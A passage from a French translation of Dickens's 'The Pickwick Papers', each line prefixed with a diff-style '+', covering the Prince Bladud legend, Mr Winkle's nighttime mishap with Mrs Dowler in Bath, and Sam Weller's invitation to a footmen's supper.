+contrairement à tous les précédents de la diplomatie, et s'était marié,
+dans son coeur, avec la fille d'un noble Athénien.
+
+«Ici nous trouvons un frappant exemple de l'un des nombreux avantages de
+la civilisation. Si le prince avait vécu de nos jours, il aurait épousé
+sans scrupule la princesse choisie par son père, et se serait
+immédiatement et sérieusement mis à l'ouvrage pour se débarrasser
+d'elle, en la faisant mourir de chagrin par un enchaînement systématique
+de mépris et d'insultes; puis si la tranquille fierté de son sexe, et
+la conscience de son innocence, lui avaient donné la force de résister à
+ces mauvais traitements, il aurait pu chercher quelque autre manière de
+lui ôter la vie et de s'en délivrer sans scandale. Mais ni l'un ni
+l'autre de ces moyens ne s'offrit à l'imagination du prince Bladud; il
+se borna donc à solliciter une audience privée de son père, et à lui
+tout avouer.
+
+«C'est une ancienne prérogative des souverains de gouverner toutes
+choses, excepté leurs passions. En conséquence le roi Lud se mit dans
+une colère abominable; jeta sa couronne au plafond (car dans ce temps-là
+les rois gardaient leur couronne sur leur tête et non pas dans la Tour);
+trépigna sur le plancher, se frappa le front; demanda au ciel pourquoi
+son propre sang se révoltait contre lui, et finalement, appelant ses
+gardes, leur ordonna d'enfermer son fils dans un donjon: sorte de
+traitement que les rois d'autrefois employaient généralement envers
+leurs enfants, quand les inclinations matrimoniales de ceux-ci ne
+s'accordaient pas avec leurs propres vues.
+
+«Après avoir été enfermé dans son donjon, pendant près d'une année, sans
+que ses yeux eussent d'autre point de vue qu'un mur de pierre, et son
+esprit d'autre perspective qu'un perpétuel emprisonnement, le prince
+Bladud commença naturellement à ruminer un plan d'évasion, grâce auquel,
+au bout de plusieurs mois de préparatifs, il parvint à s'échapper,
+laissant avec humanité son couteau de table dans le coeur de son
+geôlier, de peur que ce pauvre diable, qui avait de la famille, ne fût
+soupçonné d'avoir favorisé sa fuite, et ne fût puni en conséquence par
+le roi irrité.
+
+«Le monarque devint presque enragé quand il apprit l'escapade de son
+fils. Il ne savait sur qui faire tomber son courroux, lorsque
+heureusement il vint à penser au lord chambellan, qui l'avait ramené
+d'Athènes. Il lui fit donc retrancher en même temps sa pension et sa
+tête.
+
+«Cependant le jeune prince, habilement déguisé, errait à pied dans les
+domaines de son père, soutenu et réjoui dans toutes ses privations par
+le doux souvenir de la jeune Athénienne, cause innocente de ses
+malheurs. Un jour, il s'arrêta pour se reposer dans un bourg. On dansait
+gaiement sur la place, et le plaisir brillait sur tous les visages. Le
+prince se hasarda à demander quelle était la cause de ces réjouissances.
+
+«O étranger, lui répliqua-t-on, ne connaissez-vous pas la récente
+proclamation de notre gracieux souverain?
+
+--La proclamation? Non. Quelle proclamation? repartit le prince, car il
+n'avait voyagé que par les chemins de traverse, et ne savait rien de ce
+qui se passait sur les grandes routes, telles qu'elles étaient alors.
+
+--En bien! dit le paysan, la demoiselle étrangère que le prince désirait
+épouser, s'est mariée à un noble étranger de son pays, et le roi
+proclame le fait et ordonne de grandes réjouissances publiques, car
+maintenant, sans nul doute, le prince Bladud va revenir, pour épouser la
+princesse que son père a choisie, et qui, dit-on, est aussi belle que le
+soleil de midi. À votre santé, monsieur, Dieu sauve le roi!»
+
+«Le prince n'en voulut pas entendre davantage. Il s'enfuit et s'enfonça
+dans les lieux les plus déserts d'un bois voisin. Il errait, il errait
+sans cesse, la jour et la nuit, sous le soleil dévorant, sous les pâles
+rayons de la lune, malgré la chaleur de midi, malgré les nocturnes
+brouillards; à la lueur grisâtre du matin, à la rouge clarté du soir: si
+désolé, si peu attentif à toute la nature, que, voulant aller à Athènes,
+il se trouva un matin à Bath, c'est-à-dire qu'il se trouva dans
+l'endroit où la ville existe maintenant, car il n'y avait point alors de
+vestige d'habitation, pas de trace d'hommes, pas même de fontaine
+thermale. En revanche, c'étaient le même paysage charmant, la même
+richesse de coteaux et de vallées, le même ruisseau qui coulait avec un
+doux murmure, les mêmes montagnes orgueilleuses qui, semblables aux
+peines de la vie quand elles sont vues à distance et partiellement
+obscurcies par la brume argentée du matin, perdent leur sauvagerie et
+leur rudesse, et ne présentent aux yeux que de doux et gracieux
+contours. Ému par la beauté de cette scène, le prince se laissa tomber
+sur le gazon, et baigna de ses larmes ses pieds enflés par la fatigue.
+
+«Oh! s'écria-t-il en tordant ses mains, et en levant tristement sas yeux
+au ciel; oh! si ma course fatigante pouvait se terminer ici! Oh! si ces
+douces larmes, que m'arrache un amour mal placé, pouvaient couler en
+paix pour toujours!»
+
+«Son voeu fut entendu. C'était le temps des divinités païennes, qui
+prenaient parfois les gens au mot, avec un empressement fort gênant. Le
+sol s'ouvrit sous les pieds du prince, il tomba dans un gouffre, qui se
+referma immédiatement au-dessus de sa tête; mais ses larmes brûlantes
+continuèrent à couler, et continueront pour toujours à sourdre
+abondamment de la terre.
+
+«Il est remarquable que, depuis lors, un grand nombre de ladies et de
+gentlemen, parvenus à un certain âge sans avoir pu se procurer de
+partenaire, et presque, tout autant de jeunes gens, qui sont pressés
+d'en obtenir, se rendent annuellement à Bath, pour boire les eaux, et
+prétendent en tirer beaucoup de force et de consolation. Cela fait
+honneur aux larmes du prince Bladud, et la véracité de cette légende en
+est singulièrement corroborée.»
+
+
+M. Pickwick bailla plusieurs fois en arrivant à la fin de ce petit
+manuscrit, puis il le replia soigneusement, et le remit dans le tiroir
+de l'encrier. Ensuite, avec une contenance qui exprimait le plus profond
+ennui, il alluma sa chandelle, et monta l'escalier pour s'aller coucher.
+
+Il s'arrêta, suivant sa coutume, à la porte de M. Dowler, et y frappa
+pour lui dire bonsoir.
+
+«Ah! dit M. Dowler, vous allez vous coucher? je voudrais bien en pouvoir
+faire autant. Quel temps affreux! Entendez-vous le vent?
+
+--Terrible! répondit M. Pickwick; bonne nuit!
+
+--Bonne nuit!»
+
+M. Pickwick monta dans sa chambre à coucher, et M. Dowler reprit son
+siége, devant le feu, pour accomplir son imprudente promesse de rester
+sur pied jusqu'au retour de sa femme.
+
+Il y a peu de choses plus contrariantes que de veiller pour attendre
+quelqu'un, principalement quand ce quelqu'un est en partie de plaisir.
+Vous ne pouvez vous empêcher de penser combien le temps, qui passe si
+lentement pour vous, passe vite pour la personne que vous attendez; et
+plus vous pensez à cela plus vous sentez décliner votre espoir de la
+voir arriver promptement. Le tic tac des horloges paraît alors plus lent
+et plus lourd, et il vous semble que vous avez sur le corps comme une
+tunique de toiles d'araignées. D'abord c'est quelque chose qui démange
+votre genou droit, ensuite la même sensation vient irriter votre genou
+gauche. Aussitôt que vous changez de position, cela vous prend dans les
+bras; vous contractez vos membres de mille manières fantastiques, mais
+tout à coup vous avez une rechute dans le nez, et vous vous mettez à le
+gratter comme si vous vouliez l'arracher, ce que vous feriez
+infailliblement, si vous pouviez le faire. Les yeux sont encore de bien
+grands inconvénients, dans ce cas, et l'on voit souvent la mèche d'une
+chandelle s'allonger de deux pouces tandis que l'on mouche sa voisine.
+Toutes ces petites vexations nerveuses, et beaucoup d'autres du même
+genre, rendent fort problématique le plaisir de veiller, lorsque tout le
+monde, dans la maison, est allé se coucher.
+
+Telle était précisément l'opinion de M. Dowler, tandis qu'il veillait
+seul au coin du feu, et il ressentait une vertueuse indignation contre
+les danseurs inhumains qui le forçaient à rester debout. D'ailleurs sa
+bonne humeur n'était pas augmentée par la réflexion que c'était lui-même
+qui avait imaginé d'avoir mal à la tête et de garder la maison. À la
+fin, après s'être endormi plusieurs fois, après être tombé en avant vers
+la grille, et s'être redressé juste à temps pour ne pas avoir le visage
+brûlé, M. Dowler se décida à s'aller jeter un instant sur son lit, dans
+la chambre de derrière, non pas pour dormir, bien entendu, mais pour
+penser.
+
+--J'ai le sommeil très-dur, se dit à lui-même M. Dowler, en s'étendant
+sur le lit; il faut que je me tienne éveillé. Je suppose que d'ici
+j'entendrai frapper à la porte. Oui, je le pensais bien, j'entends le
+watchman; le voilà qui s'en va; je l'entends moins fort maintenant....
+Encore un peu moins fort... il tourne le coin,... Ah! ah!...»
+
+Arrivé à cette conclusion, M. Dowler tourna le coin autour duquel il
+avait si longtemps hésité, et s'endormit profondément.
+
+Juste au moment où l'horloge sonnait trois heures, une chaise à
+porteurs, contenant mistress Dowler, déboucha sur la demi-lune, balancée
+par le vent et par deux porteurs, l'un gros et court, l'autre long et
+mince. Tous les deux (pour ne pas parler de la chaise) avaient bien de
+la peine à se maintenir perpendiculaires; mais sur la place, où la
+tempête soufflait avec une furie capable de déraciner les pavés, ce fut
+bien pis, et ils s'estimèrent fort heureux, lorsqu'ils eurent déposé
+leur fardeau, et donné un bon double coup à la porte de la rue.
+
+Ils attendirent quelque temps, mais personne ne vint.
+
+«Le domestique est dans les bras de lord fée, dit le petit porteur en se
+chauffant les mains à la torche du galopin qui les éclairait.
+
+--Il devrait bien le pincer et le réveiller, ajouta le grand porteur.
+
+--Frappez encore, s'il vous plaît, cria mistress Dowler de sa chaise.
+Frappez deux ou trois fois, s'il vous plaît.»
+
+Le petit homme était fort disposé à en finir, il monta donc ses les
+marches, et donna huit ou dix doubles coups effrayants, tandis que le
+grand homme s'éloignait de la maison et regardait aux fenêtres s'il y
+avait de la lumière.
+
+Personne ne vint; tout était sombre et silencieux.
+
+«Ah mon Dieu! fit mistress Dowler. Voulez-vous frapper encore, s'il vous
+plaît.
+
+--N'y a-t-il pas de sonnette, madame? demanda le petit porteur.
+
+--Oui, il y en a une, interrompit le gamin à la torche. Voilà je ne sais
+combien de temps que je la tire.
+
+--Il n'y a que la poignée, dit mistress Dowler, le ressort est brisé.
+
+--Je voudrais bien pouvoir en dire autant de la tête des domestiques,
+grommela le grand porteur.
+
+--Je vous prierai de frapper encore, s'il vous plaît,» recommença
+mistress Dowler, avec la plus exquise politesse.
+
+Le petit homme heurta sur nouveaux frais, et à plusieurs reprises, sans
+produire aucun effet. Le grand homme, qui s'impatientait, le releva et
+se mit à frapper perpétuellement des doubles coups, comme un facteur
+enragé.
+
+À la fin, M. Winkle commença à rêver qu'il se trouvait dans un club, et
+que les membres étant fort indisciplinés, le président était obligé de
+cogner continuellement sur la table, pour maintenir l'ordre. Ensuite il
+eut l'idée confuse d'une vente à l'encan, où il n'y avait pas
+d'enchérisseurs, et où le crieur achetait toutes choses. Enfin, en
+dernier lieu, il lui vint dans l'esprit qu'il n'était pas tout à fait
+impossible que quelqu'un frappât à la porte de la rue. Afin de s'en
+assurer, en écoutant mieux, il resta tranquille dans son lit, pendant
+environ dix minutes, et lorsqu'il eut compté trente et quelques coups,
+il se trouva suffisamment convaincu, et s'applaudit beaucoup d'être si
+vigilant.
+
+Panpan, panpan, panpan. Pan, pan, pan, pan, pan; le marteau n'arrêtait
+plus.
+
+M. Winkle sautant hors de son lit, se demanda ce que ce pouvait être;
+puis ayant mis rapidement ses bas et ses pantoufles, il passa sa robe de
+chambre, alluma une chandelle à la veilleuse qui brûlait dans la
+cheminée, et descendit les escaliers.
+
+«À la fin vla quéqu'sun qui vient, madame, dit le petit porteur.
+
+--Je voudrais ben être derrière lui avec un poinçon, murmura son grand
+compagnon.
+
+--Qui va là? cria M. Winkle, en défaisant la chaîne de la porte.
+
+--Ne vous amusez pas à faire des questions, tête de buse, répondit avec
+dédain la grand homme, s'imaginant avoir affaire à un laquais. Ouvrez la
+porte.
+
+--Allons dépêchez, l'endormi,» ajouta l'autre d'un ton encourageant.
+
+M. Winkle, qui n'était qu'à moitié éveillé, obéit machinalement à cette
+invitation, ouvra la poste et regarda dans la rue. La première chose
+qu'il aperçoit c'est la lueur rouge du falot. Épouvanté par la crainte
+soudaine que le feu ne soit à la maison, il ouvre la porte toute grande,
+élève sa chandelle au-dessus de sa tête, et regarde d'un air effaré
+devant lui, ne sachant pas trop si ce qu'il voit est une chaise à
+porteurs, ou une pompe à incendie. Dans ce moment un tourbillon de vent
+arrive; la chandelle s'éteint; M. Winkle se sent poussé par derrière,
+d'une manière irrésistible, et la porte se ferme avec un violent
+craquement.
+
+«Bien, jeune homme! c'est habile!» dit le petit porteur.
+
+M. Winkle, apercevant un visage de femme à la portière de la chaise, se
+retourne rapidement et se met à frapper le marteau de toute la force de
+son bras, en suppliant en même temps les porteurs d'emmener la dame.
+
+«Emportez-la! s'écriait-il, emportez-la! Bien! voilà quelqu'un qui sort
+d'une autre maison! Cachez-moi, cachez-moi n'importe où, dans cette
+chaise.»
+
+En prononçant ces phrases incohérentes, il frissonnait de froid, car
+chaque fois qu'il levait le bras et le marteau, le vent s'engouffrait
+sous sa robe de chambre et la soulevait d'une manière très-inquiétante.
+
+«Voilà, une société qui arrive sur la place... il y a des dames!
+Couvrez-moi avec quelque chose! mettez-vous devant moi!» criait M.
+Winkle avec angoisses. Mais les porteurs étaient trop occupés de rire
+pour lui donner la moindre assistance, et cependant les dames
+s'approchaient de minute en minute.
+
+M. Winkle donna un dernier coup de marteau désespéré... les dames
+n'étaient plus éloignées que de quelques maisons. Il jeta au loin la
+chandelle éteinte, que durant tout ce temps il avait tenue au-dessus de
+sa tête, et s'élança vers la chaise à porteurs, dans laquelle se
+trouvait toujours mistress Dowler.
+
+Or, mistress Craddock avait, à la fin, entendu les voix et les coups de
+marteau. Elle avait pris tout juste le temps de mettre sur sa tête
+quelque chose de plus élégant que son bonnet de nuit, était descendue au
+parloir pour s'assurer que c'était bien mistress Dowler, et venait
+précisément de lever le châssis de la fenêtre, lorsqu'elle aperçut M.
+Winkle qui s'élançait vers la chaise. À ce spectacle elle se mit à
+pousser des cris affreux, suppliant M. Dowler de se lever sur-le-champ,
+pour empêcher sa femme de s'enfuir avec un autre gentleman.
+
+À ces cris, à ce terrible avertissement, M. Dowler bondit hors de son
+lit, aussi vivement qu'une balle élastique, et, se précipitant dans la
+chambre de devant, arriva à une des fenêtres comme M. Pickwick ouvrait
+l'autre. Le premier objet qui frappa leurs regards fut M. Winkle entrant
+dans la chaise à porteurs.
+
+«Watchman, s'écria Dowler d'un ton féroce, arrêtez-le, empoignez-le,
+enchaînez-le, enfermez-le, jusqu'à ce que j'arrive! Je veux lui couper
+la gorge! donnez-moi un couteau! De l'une à l'autre oreille, mistress
+Craddock! Je veux lui couper la gorge! «Tout en hurlant ces menaces,
+l'époux indigné s'arracha des mains de l'hôtesse et de M. Pickwick,
+saisit un petit couteau de dessert, et s'élança dans la rue.
+
+Mais M. Winkle ne l'attendit pas. À peine avait-il entendu l'horrible
+menace du valeureux Dowler, qu'il se précipita hors de la chaise, aussi
+vite qu'il s'y était introduit, et, jetant ses pantoufles dans la rue,
+pour mieux prendre ses jambes à son cou, fit le tour de la demi-lune,
+chaudement poursuivi par Dowler et par le watchman. Néanmoins il avait
+conservé son avantage quand il revint devant la maison. La porte était
+ouverte, il la franchit, la cingla au nez de Dowler, monta dans sa
+chambre à coucher, ferma la porte, empila par derrière un coffre, une
+table, un lavabo, et s'occupa à faire un paquet de ses effets les plus
+indispensables, afin de s'enfuir aux premiers rayons du jour.
+
+Cependant Dowler tempêtait de l'autre côté de la porte du malheureux
+Winkle, et lui déclarait, à travers le trou de la serrure, son intention
+irrévocable de lui couper la gorge, le lendemain matin. À la fin, après
+un grand tumulte de voix, parmi lesquelles on entendait distinctement
+celle de M. Pickwick qui s'efforçait de rétablir la paix, les habitants
+de la maison se dispersèrent dans leurs chambres à coucher respectives,
+et la tranquillité fut momentanément rétablie.
+
+Et pendant tout ce temps-là, dira peut-être quelque lecteur sagace, où
+donc était Samuel Weller? Nous allons dire où il était, dans le chapitre
+suivant.
+
+
+
+
+CHAPITRE VIII.
+
+Qui explique honorablement l'absence de Sam Weller, en rendant compte
+d'une soirée où il fut invité et assista; et qui raconte, en outre,
+comment ledit Sam Weller fut chargé par M. Pickwick d'une mission
+particulière, pleine de délicatesse et d'importance.
+
+
+«Monsieur Weller, dit mistress Craddock, dans la matinée du jour
+mémorable dont nous venons d'esquisser les aventures; voici une lettre
+pour vous.
+
+--C'est bien drôle, répondit Sam. J'ai peur qu'il n'y ait quelque chose,
+car je ne me rappelle pas un seul gentleman dans mes connaissances qui
+soit capable d'en écrire une.
+
+--Peut-être est-il arrivé quelque chose d'extraordinaire, fit observer
+mistress Craddock.
+
+--Faut que ça soit quelque chose de bien extraordinaire pour produire
+une lettre d'un de mes amis, répliqua Sam, en secouant dubitativement la
+tête. Ni plus ni moins qu'un tremblement de terre, comme le jeune
+gentleman observa, quand il fut pris d'une attaque. Ça ne peut pas être
+de mon papa poursuivit Sam, en regardant l'adresse, il fait toujours des
+lettres moulées parce qu'il a appris à écrire dans les affiches. C'est
+bien extraordinaire! D'où cette lettre-là peut-elle me venir?»
+
+Tout en parlant ainsi, Sam faisait ce que font beaucoup de personnes
+lorsqu'elles ignorent de qui leur vient une lettre: il regarda le
+cachet, puis l'adresse, puis les côtés, puis le dos de la lettre, et
+enfin, comme dernière ressource, il pensa qu'il ferait peut-être aussi
+bien de regarder l'intérieur, et d'essayer d'en tirer quelques
+éclaircissements.
+
+«C'est écrit sur du papier doré, dit Sam en dépliant la lettre, et
+cacheté de cire verte, avec le bout d'une clef; faut voir!» et avec une
+physionomie très-grave, il commença à lire ce qui suit:
+
+«Une compagnie choisie de domestiques de Bath présentent leurs
+compliments à M. Weller et réclament le plaisir de sa compagnie pour un
+rat-houtte amical, composé d'une épaule de mouton bouillie avec
+l'assaisonnement ordinaire. Le rat-houtte sera servi sur table à neuf
+heures et demie, heure militaire.»
+
+Cette invitation était incluse dans un autre billet ainsi conçu:
+
+«M. John Smauker, le gentleman qui a eu le plaisir de rencontrer M.
+Weller chez leur mutuelle connaissance M. Bantam, il y a quelques jours,
+a l'honneur de transmettre à M. Weller la présente invitation. Si M.
+Weller veut passer chez M. John Smauker à 9 heures, M. John Smauker aura
+le plaisir de présenter M. Weller.
+
+«_Signé_: JOHN SMAUKER.»
+
+La suscription portait: _à M. Weller esquire, chez M. Pickwick_; et,
+entre parenthèses, dans le coin gauche de l'adresse étaient écrits ces
+mots, comme une instruction au porteur: _Tiré la sonnette de la rue_.
+
+«Eh bien! dit Sam, en voilà une drôle! Je n'avais jamais auparavant
+entendu appeler une épaule de mouton bouillie un rat-houtte; comment
+donc qu'il l'appellerait si elle était rôtie?»
+
+Cependant, sans perdre plus de temps à débattre ce point, Sam se rendit
+immédiatement chez M. Pickwick, et lui demanda, pour le soir, un congé
+qui lui fut facilement accordé. Avec cette permission, et la clef de la
+porte de la rue dans sa poche, Sam sortit un peu avant l'heure désignée,
+et se dirigea d'un pas tranquille vers Queen-Square. Là il eut la
+satisfaction d'apercevoir M. John Smauker, dont la tête poudrée, appuyée
+contre un poteau de réverbère, fumait une cigarette à travers un tube
+d'ambre.
+
+«Comment vous portez-vous, monsieur Weller? dit M. John Smauker, en
+soulevant gracieusement son chapeau d'une main, tandis qu'il agitait
+l'autre d'un air de condescendance. Comment vous portez-vous, monsieur?
+
+--Eh! eh! la convalescence n'est pas mauvaise, repartit Sam; et vous,
+mon cher, comment vous va?
+
+--Là, là.
+
+--Ah! vous aurez trop travaillé. J'en avais terriblement peur, ça ne
+réussit pas à tout le monde, voyez-vous. Faut pas vous laisser emporter
+comme ça par votre ardeur.
+
+--Ce n'est pas tant cela, monsieur Weller; c'est plutôt le mauvais vin.
+Je mène une vie trop dissipée, je le crains.
+
+--Oh! c'est-il cela? c'est une mauvaise maladie, ça.
+
+--Et pourtant, les tentations, monsieur Weller?
+
+--Ah! bien sûr.
+
+--Plongé dans le tourbillon de la société, comme vous savez monsieur
+Weller, ajouta M. John Smauker avec un soupir.
+
+--Ah! c'est terrible, en vérité!
+
+--Mais c'est toujours comme cela quand la destiné vous pousse dans une
+carrière publique, monsieur Weller. On est soumis à des tentations dont
+les autres individus sont exempts.
+
+--Précisément ce que mon oncle disait quand il ouvrit une auberge,
+répondit Sam; et il avait bien raison, le pauvre vieux; car il a bu sa
+mort en moins d'un terme.»
+
+M. Smauker parut profondément indigné du parallèle établi entre lui et
+le défunt aubergiste; mais comme le visage de Sam conservait le calme le
+plus immuable, M. Smauker y réfléchit mieux, et reprit son air affable.
+
+«Nous ferions peut-être bien de nous mettre en route, dit-il, en
+consultant une montre de cuivre qui habitait au fond d'un immense
+gousset, et qui était élevée à la surface au moyen d'un cordon noir,
+garni à l'autre bout d'une clef de chrysocale.
+
+--C'est possible, répondit Sam; autrement on pourrait laisser brûler le
+rat-houtte et ça le gâterait.
+
+--Avez-vous bu les eaux, M. Weller? demanda son compagnon, tout en
+marchant vers High-Street.
+
+--Une seule fois.
+
+--Comment les trouvez-vous?
+
+--Considérablement mauvaises.
+
+--Ah! vous n'aimez pas le goût vérugineux, peut-être?
+
+--Je ne connais pas beaucoup ça; j'ai trouvé qu'elles sentaient la tôle
+rouge.
+
+--C'est le vérugineux, monsieur Weller; rétorqua M. John Smauker d'un
+ton contemptueux.
+
+--Eh bien, c'est un mot qui ne signifie pas grand'chose, voilà tout. Au
+reste, je ne suis pas beaucoup chimique, ainsi peux pas dire.»
+
+En achevant ces mots, et à la grande horreur de M. John Smauker, Sam
+commença à siffler.
+
+«Je vous demande pardon, monsieur Weller, dit M. Smauker, torturé par
+ce bruit inélégant; voulez-vous prendre mon bras?
+
+--Merci, vous êtes bien bon, je ne veux pas vous en priver; j'ai
+l'habitude de mettre mes mains dans mes poches, si ça vous est
+superficiel.»
+
+En disant ceci, Sam joignit le geste aux paroles et recommença à siffler
+plus fort que jamais.
+
+«Par ici, dit son nouvel ami qui paraissait fort soulagé en entrant dans
+une petite rue. Nous y serons bientôt.
+
+--Ah! ah! fit Sam», sans être le moindrement ému, en apprenant qu'il
+était si proche de la fleur des domestiques de Bath.
+
+--Oui, reprit M. John Smauker, ne soyez pas intimidé, monsieur Weller.
+
+--Oh! que non.
+
+--Vous verrez quelques uniformes très-brillants, et peut-être
+trouverez-vous que les gentlemen seront un peu roides d'abord. C'est
+naturel, vous savez: mais ils se relâcheront bientôt.
+
+--Ça sera très-obligeant de leur part.
+
+--Vous savez? reprit M. Smauker avec un air de sublime protection, comme
+vous êtes un étranger, ils se mettront peut-être un peu après vous,
+d'abord.
+
+--Ils ne seront pas trop cruels, n'est-ce pas? demanda Sam.
+
+--Non, non, repartit M. Smauker en tirant sa tabatière, qui représentait
+une tête de renard, et en prenant une prise distinguée. Il y a parmi
+nous quelques gais coquins, et ils aiment à s'amuser... vous savez...
+mais il ne faut pas y faire attention. Il ne faut pas y faire attention.
+
+--Je tâcherai, dit Sam, de supporter le débordement des talents et de
+l'esprit.
+
+--À la bonne heure, répliqua M. John Smauker en remettant dans sa poche
+la tête de renard et en relevant la sienne. D'ailleurs, je vous
+soutiendrai.»
+
+En causant ainsi, ils étaient arrivés devant une petite boutique de
+fruitier. M. John Smauker y entra, et Sam, qui le suivait, laissa alors
+s'épanouir sur sa figure un muet ricanement et divers autres symptômes
+énergiques d'un état fort désirable de satisfaction intime.
+
+Après avoir traversé la boutique du fruitier, et déposé leurs chapeaux
+sur les marches de l'escalier qui se trouvait derrière, ils entrèrent
+dans un petit parloir, et c'est alors que toute la splendeur de la scène
+se dévoila aux regards de Sam Weller.
+
+Deux tables, d'inégale hauteur, accouplées au milieu de la chambre,
+étaient couvertes de trois ou quatre nappes de différents âges,
+arrangées, autant que possible, pour faire l'effet d'une seule. Sur ces
+nappes, on voyait des contenus et des fourchettes pour sept ou huit
+personnes. Or les manches de ces couteaux étaient verts, rouges et
+jaunes, tandis que ceux de toutes les fourchettes étaient noirs, ce qui
+produisait une gamme de couleurs des plus pittoresques. Des assiettes,
+pour un nombre égal de convives, chauffaient derrière le garde-cendres.
+Les convives eux-mêmes se chauffaient devant. Parmi eux, le plus
+remarquable comme le plus important, était un grand et vigoureux
+gentleman, dont la calotte et l'habit à longs pans, resplendissaient
+d'une éclatante couleur d'écarlate. Il se tenait debout, le dos au feu,
+et venait apparemment d'entrer; car, outre qu'il avait encore sur la
+tête son chapeau retroussé, il gardait à la main une très-longue canne,
+telle que les gentlemen de sa profession ont l'habitude d'en porter
+derrière les carrosses.
+
+«Smauker, mon garçon, votre nageoire,» dit le gentleman au chapeau à
+cornes.
+
+M. Smauker insinua le bout du petit doigt de sa main droite dans la main
+du gentleman au chapeau à cornes, en lui disant qu'il était charmé de le
+voir si bien portant.
+
+«C'est vrai: on dit que j'ai l'air assez rosé; et c'est étonnant! Depuis
+une quinzaine, je suis toujours notre vieille femme pendant deux heures,
+et rien que de contempler si longtemps la façon dont elle agrafe sa
+vieille robe de soie lilas, s'il n'y a pas de quoi vous rendre
+hippofondre pour le reste de votre vie, je consens à perdre mon
+traitement.»
+
+À ces mots, la compagnie choisie se mit à rire de tout son coeur, et
+l'un des gentlemen, qui avait un gilet jaune, murmura à son voisin, qui
+avait une culotte verte, que Tuckle était en train ce soir-là.
+
+«À propos, reprit M. Tuckle, Smauker mon garçon, vous....»
+
+Le reste de la sentence fut déposé dans le tuyau de l'oreille de M.
+Smauker.
+
+«Ah! tiens! je l'avais oublié! répondit celui-ci. Gentlemen, mon ami, M.
+Weller.
+
+--Fâché de vous boucher le feu, Weller, dit M. Tuckle avec un signe de
+tête familier. J'espère que vous n'avez pas froid, Weller?
+
+--Pas le moins du monde, Flambant, répliqua Sam. Faudrait un sujet bien
+glacé pour avoir froid vis-à-vis de vous. Vous économiseriez la houille
+si on vous mettait sur la grille, dans une salle publique; vrai!»
+
+Comme cette répliqua paraissait faire une allusion personnelle à la
+livrée écarlate de M. Tuckle, il prit un air majestueux durant quelques
+secondes. Pourtant il s'éloigna graduellement du feu, et dit avec un
+sourire forcé:
+
+«Pas mauvais, pas mauvais.
+
+--Je vous suis bien obligé pour votre bonne opinion, monsieur, reprit
+Sam. Nous arriverons peu à peu, j'espère. Plus tard, nous en essayerons
+un meilleur.»
+
+En cet endroit la conversation fut interrompue par l'arrivée d'un
+gentleman vêtu de peluche orange. Il était accompagné d'un autre
+personnage en drap pourpre, avec un remarquable développement de bas.
+Les nouveaux venus ayant été congratulés par les anciens, M. Tuckle
+proposa de faire apporter le souper, et cette proposition fut adoptée
+unanimement.
+
+Le fruitier et sa femme déposèrent alors sur la table un plat de mouton
+bouilli, avec une sauce chaude aux câpres, des navets et des pommes de
+terre. M. Tuckle prit le fauteuil, et eut pour vice-président le
+gentleman en peluche orange. Le fruitier mit une paire de gants de
+castor pour donner les assiettes et se plaça derrière la chaise de M.
+Tuckle.
+
+«Harris! dit celui-ci d'un ton de commandement.
+
+--Monsieur?
+
+--Avez-vous mis vos gants?
+
+--Oui, monsieur.
+
+--Alors ôtez le couvercle.
+
+--Oui, monsieur.»
+
+Le fruitier, avec de grandes démonstrations d'humilité, fit ce qui lui
+était ordonné, et tendit obséquieusement à M. Tuckle le couteau à
+découper; mais, en faisant cela, il vint par hasard à bâiller.
+
+«Qu'est-ce que cela veut dire, monsieur? lui dit M. Tuckle avec une
+grande aspérité.
+
+--Je vous demande pardon, monsieur, répondit le fruitier, décontenancé.
+Je ne l'ai pas fait exprès, monsieur. J'ai veillé tard la nuit dernière.
+
+--Je vais vous dire mon opinion sur votre compte, Harris, poursuivit M.
+Tuckle avec un air plein de grandeur. Vous êtes une brute mal élevée.
+
+--J'espère, gentlemen, dit Harris, que vous ne serez pas trop sévères
+envers moi. Je vous suis certainement très-obligé, gentlemen, pour votre
+patronage et aussi pour vos recommandations, gentlemen, quand on a
+besoin quelque part de quelqu'un de plus pour servir. J'espère,
+gentlemen, que vous êtes satisfaits de moi.
+
+--Non, monsieur, dit M. Tuckle. Bien loin de là, monsieur.
+
+--Vous êtes un drôle sans soin, grommela le gentleman en peluche orange.
+
+--Et un fichu chenapan, ajouta le gentleman en culotte verte.
+
+--Et un mauvais gueux, continua le gentleman de couleur pourpre.»
+
+Le pauvre fruitier saluait de plus en plus humblement, tandis qu'on le
+gratifiait de ces petites épithètes, selon le véritable esprit de la
+plus basse tyrannie. Lorsque tout le monde eut dit son mot, pour prouver
+sa supériorité, M. Tuckle commença à découper l'épaule de mouton et à
+servir la compagnie.
+
+Cette importante affaire était à peine entamée, quand la porte s'ouvrit
+brusquement et laissa apparaître un autre gentleman en habit bleu clair,
+avec des boutons d'étain.
+
+«Contre les règles, dit M. Tuckle. Trop tard, trop tard.
+
+--Non, non; impossible de faire autrement, répondit le gentleman bleu.
+J'en appelle à la compagnie. Une affaire de galanterie, un rendez-vous
+au théâtre.
+
+--Oh! dans ce cas-là! s'écria le gentleman en peluche orange.
+
+--Oui, riellement, parole d'honneur. J'avais promis de conduire notre
+plus jeune demoiselle à dix heures et demie, et c'est une si jolie
+fille, riellement, que je n'ai pas eu le coeur de la désobliger. Pas
+d'offense à la compagnie présente, monsieur; mais un cottillon,
+monsieur, riellement, c'est irrévocable.
+
+--Je commence à soupçonner qu'il y a quelque chose là-dessous, dit
+Tuckle, pendant que le nouveau venu s'asseyait à côté de Sam. J'ai
+remarqué, une ou deux fois, qu'elle s'appuie beaucoup sur votre épaule
+quand elle descend de voiture.
+
+--Oh! riellement, riellement, Tuckle, i' ne faut pas.... C'est pas
+bien.... J'ai pu dire à qué'ques amis que c'était une divine criature et
+qu'elle avait refusé deux ou trois mariages sans motif, mais... non,
+non, riellement, Tuckle.... Devant des étrangers encore! C'est pas bien;
+vous avez tort.... La délicatesse, mon cher ami, la délicatesse!»
+
+Ayant ainsi parlé, l'homme à la livrée bleue releva sa cravate, ajusta
+ses parements, grimaça et fronça les sourcils, comme s'il avait pu en
+dire infiniment plus long, mais qu'il se crût, en honneur, obligé de se
+taire. C'était une sorte de petit valet de pied, à l'air libre et
+dégagé, aux cheveux blonds, au cou empesé, et qui avait attiré dès
+l'abord, l'attention de Sam; mais quand il eut débuté de cette manière,
+M. Weller se sentit plus que jamais disposé à cultiver sa connaissance;
+aussi s'immisça-t-il, tout d'un coup, dans la conversation, avec
+l'indépendance qui le caractérisait.
+
+«À votre santé, monsieur, dit-il; j'aime beaucoup votre conversation; je
+la trouve vraiment jolie.»
+
